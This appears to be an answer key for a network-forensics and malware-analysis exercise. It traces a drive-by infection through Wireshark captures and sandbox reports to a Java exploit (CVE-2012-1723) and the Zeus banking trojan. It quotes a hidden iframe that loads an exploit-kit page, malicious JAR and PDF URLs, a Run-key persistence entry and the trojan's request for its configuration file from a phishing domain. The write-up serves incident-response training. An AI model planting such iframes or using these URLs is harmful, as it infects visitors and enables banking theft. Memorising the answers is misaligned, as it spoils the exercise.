## **Quantum malware - Answers**

## Part A – Traffic analysis

### 1. What web sites have been visited prior to the incident?

Filter HTTP requests. You can also add the host column in Wireshark, as instructed in the hint, to make the result more obvious. Websites are clearly visible:

🖉 tr	Laffic-31-07-16.pcap [Wireshark 1.12.6 (v1.12.6-0-gee1fce6 from master-1.12)]												
Eile	<u>E</u> dit <u>V</u> iew <u>G</u>	o <u>⊂</u> apture <u>≬</u>	<u>A</u> nalyze <u>S</u> tatistics	Telephon <u>y T</u> oo	ls <u>I</u> nternals	Help							
•	0	<u>a</u>   E	🗋 🗶 🛃   (	् 🗢 🔿 🗳	) 7 L		. 0	Θ <b></b>	0, 🖭	🖉 🗹 🍋	} 🖗   🕽	Q	
Fiter	: http.request	)			•	Expression.	Clear	Appl	y Save				
No.	Time	Source		Destination		Protocol	Length	Info					
	5 0.01560	A 127 A											
	2 2.27201	0 127.0.	0.1	127.0.0.1		HTTP			http://w	ww.resear	ch-instr	uments.com/	HTTP/1.1
	30 0.07840			127.0.0.1 127.0.0.1			531	GET				uments.com/ uments.com/	
		1 127.0.	.0.1			HTTP	531 519	GET GET	http://w	ww.resear	ch-instr		vp-content,
	30 0.07840	1 127.0. 1 127.0.	.0.1 .0.1	127.0.0.1		HTTP HTTP	531 519 562	GET GET GET	http://w http://w	ww.resear ww.resear	ch-instr ch-instr	uments.com/	vp-content, vp-content,
	30 0.07840 57 0.08240	1 127.0. 1 127.0. 2 127.0.	.0.1 .0.1 .0.1	127.0.0.1 127.0.0.1		HTTP HTTP HTTP	531 519 562 533	GET GET GET GET	http://w http://w http://w	ww.resear ww.resear ww.resear	ch-instr ch-instr ch-instr	uments.com/ uments.com/	vp-content, vp-content, vp-content,

```
www.research-instruments[.]com
www.woodleyequipment[.]com
moonmaderats[.]pw
rxjwxc.ratewish[.]biz
www.bing.com
www.investopedia[.]com
```

#### 2. What search engine was Mr. Robert using and what search terms were queried?

Bing and he was searching for "merger and acquisition".

	•
621 GET http://rxjwxc.ratewish.biz/2995567635/1385220240.1	
560 GET http://www.bing.com/search?q=merger+and+acquisitio	ons&src=I
795 GET http://www.bing.com/sa/simg/sw_nh_nlog_cct3_optime	al.png HT

### 3. How did the machine get infected?

Find out where the first suspicious GET request (moonmaderats[.]pw/nuc/look.php) originated. Again Wireshark is of great help.

Filte	tcp contains "moor	nmaderats.pw"			Expression Clear Apply Save
No.	Time	Source	Destination	Protocol	Length Info
	3409 65.329968	127.0.0.1	127.0.0.1	TCP	150) [TCP segment of a reassembled PDU]
-	3500 65.376768	127.0.0.1	127.0.0.1	HTTP	580 GET http://moonmaderats.pw/nuc/Took.php
3	3520 65.499171	127.0.0.1	127.0.0.1	HTTP	604 GET http://rxjwxc.ratewish.biz/42843Bc_8

Right click the first appearance and "Follow TCP Stream". Again use the Find function and you'll find a hidden frame within http://www.woodleyequipment[.]com/clinical-trials.html:

<iframe width=0 height=0 src="http://moonmaderats.pw/nuc/look.php">

#### 4. What client side technology was exploited?

There are only a handful of suspicious requests in the packet capture. First one we've seen it above – moonmaderats[.]pw, and two more going to rxjwxc.ratewish[.]biz. Searching for all GET requests to this domain reveals a JAR payload which most probably triggered a Java client-side vulnerability.

Filt	er: tcp contains "GET	http://rxjwxc.ratewish	.biz"		Expression Clear Apply Save
No.	Time	Source	Destination	Protocol	Length Info
	3520 65.499171	127.0.0.1	127.0.0.1	HTTP	604 GET http://rxjwxc.ratewish.biz/4284
	3591 66.526783	127.0.0.1	127.0.0.1	TCP	401 [TCP segment of a reassembled PDU]
	3605 66.667184	127.0.0.1	127.0.0.1	TCP	280 [TCP ACKed unseen segment] [TCP sec
	3744 66.698384	127.0.0.1	127.0.0.1	TCP	282 [TCP segment of a reassembled PDU]
	3773 75.777600	127.0.0.1	127.0.0.1	HTTP	621 GET http://rxjwxc.ratewish.biz/299!

Right click on the second entry, Follow TCP Stream and reach a request for a jar file.

4	Follow TCP Stream (tcp.stream eq 56)					
Ľ,	Stream Content					
	GET http://rxjwxc.ratewish.biz/2995567635/1385220240.jar HTTP/1.1 content-type: application/x-java-archive accept-encoding: pack200-gzip,gzip					
	accept-encoding: pack200-gzip,gzip					

### 4.1 Find out what vulnerability was exploited.

As per the hint provided, first extract the jar object. From the previous step, the follow stream window, select Save As and save the stream to a file. Then use a hex editor<sup>1</sup> to remove everything except the body of the request for the jar file.

Note that the HTTP response contains a Content-Length field, specifying the length in bytes of the body. Use that field to make sure you got all the bytes of the body. A quick online analysis on VirusTotal successfully identifies the Java exploit: **CVE-2012-1723**.

lkarus	Exploit.Java.CVE-2012	20140319
Kaspersky	HEUR:Exploit.Java.Generic	20140319
McAfee	RDN/Generic Exploit!1n3	20140319
McAfee-GW-Edition	RDN/Generic Exploit!1n3	20140319
Microsoft	Exploit:Java/CVE-2012-1723	20140319
NANO-Antivirus	Exploit.Zip.CVE20121723.crxrbn	20140319

Now that we've extracted the malicious JAR file, we could even deep dive and extract the Java classes, deobfuscate the code and do a low-level hunt for the vulnerability. We'll skip this for now.

### 4.2 What other client-side exploits was the malicious website attempting to deliver?

Use the hint and trace back to the request calling for the JAR exploit to be downloaded to the victim. The page that initiates the download for the exploit is http://rxjwxc.ratewish[.]biz/42843Bc\_857eHbb6N13Neac5d-4c1Hcb\_9b83f09.html.
Extract that and you'll find an obfuscated JavaScript.

The other client-side exploit (which would have been delivered if the first one had been unsuccessful) is for Acrobat Reader – a **PDF exploit.** It would be served from http://rxjwxc.ratewish[.]biz/2995567635/1385220240.pdf

<sup>1</sup> https://mh-nexus.de/en/hxd/

## Part B - Malware analysis

#### 5. What malicious software was dropped following the visit to the suspicious website?

Search again for traffic to our malicious domain, ratewish[.]biz. In the results, follow the stream after the initial GET request:

Filter	Filter: tcp contains "ratewish.biz"				Expression Clear Apply Save
No.	Time	Source	Destination	Protocol	Length Info
10	264 27.10	37870127.0.0.1	127.0.0.1	HTTP	1078 HTTP/1.1 200 ОК (text/html)
10	266 27.22	90180127.0.0.1	l 127.0.0.1	HTTP	1222 GET http://rxjwxc.ratewish.biz/4284
10	356 30.82	72830127.0.0.	L 127.0.0.1	TCP	816 [TCP segment of a reassembled PDU]
10	374 31.02	40180127.0.0.1	L 127.0.0.1	TCP	574 [TCP segment of a reassembled PDU]

Inside the stream you'll quickly notice a request for an executable file, recognizable by its MZ header:

Extract the binary as you did previously with the JAR file and send it to an online sandbox for analysis. Most of the AVs on VirusTotal seem to agree that this is a sample of Zbot – a codename for the **Zeus trojan**.

K7GW	Spyware ( 00009b291 )
Kaspersky	Trojan-Spy.Win32.Zbot.bopd
Malwarebytes	Trojan.Zbot
McAfee	PWS-Zbot.gen.ds
McAfee-GW-Edition	BehavesLike.Win32.PWSZbot.ch

## 5.1 How this malware will affect Mr. Robert specifically, given his privileged access to company's online banking account.

Zeus<sup>2</sup> is a very well known banking trojan used primarily for *stealing banking information via man-in-the-browser* technique. This<sup>3</sup> technique<sup>4</sup> is very powerful and completely undetectable to the user. The bottom line is that because the malware is injected *into the browser process memory*, the security elements of the website are unaltered (e.g. SSL certificates are not affected, they can be checked and will turn out valid).

#### 5.2 How will the infection persist on the machine after a restart?

<sup>2</sup> https://en.wikipedia.org/wiki/Zeus\_(malware)

 $<sup>3 \</sup>quad https://www.owasp.org/index.php/Man-in-the-browser_attack$ 

<sup>4</sup> https://www.sans.org/reading-room/whitepapers/forensics/analyzing-man-in-the-browser-mitb-attacks-35687

There was a hint about Malwr.com online sandbox. This is able to successfully identify the sample's behaviour and help answer the last two questions in this part.

#### Signatures

Starts servers listening on 0.0.0.34213
Performs some HTTP requests
Tries to unhook Windows functions monitored by Cuckoo
Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate)
Creates Zeus (Banking Trojan) mutexes
Contacts C&C server HTTP check-in (Banking Trojan)
Creates a slightly modified copy of itself
Installs itself for autorun at Windows startup
process: None signs: [{u'type': u'registry', u'value': u'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Currentversion\\Run'}] process: None signs: [/u'type': u'registry', u'value': u'HKEY_USERS\\S-1-5-21-1547161642-507921405-839522115-1004\\Software\\Microsoft\\Windows

Signs: [{utype://utegistry.utvalue://utkey\_USERS/IS-1-5-21-154/161642-50/921405-839522115-1004/ISoftware/IMIC NT\/CurrentVersion\\Winlogon'}]

So in order to achieve persistence the sample will create an entry in the well known autostart location **HKCU\\Software\\Microsoft\\Windows\\Currentversion\\Run**.

# **5.3 What external domain is contacted by the sample for downloading its configuration file?**

Again we can obtain this information from the Malwr.com analysis. The sample will contact the host **secure-bankofamerica[.]com**, which is clearly a phishing domain created to imitate the legitimate one – https://secure.bankofamerica.com. In the Network Analysis section of the Malwr report we can see the complete request for the configuration file:

**HTTP Requests** 

URI	DATA
http://secure-bankofamerica.com/config.bin	<pre>GET /config.bin HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5. 1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.64 8; .NET CLR 3.5.21022) Host: secure-bankofamerica.com Cache-Control: no-cache</pre>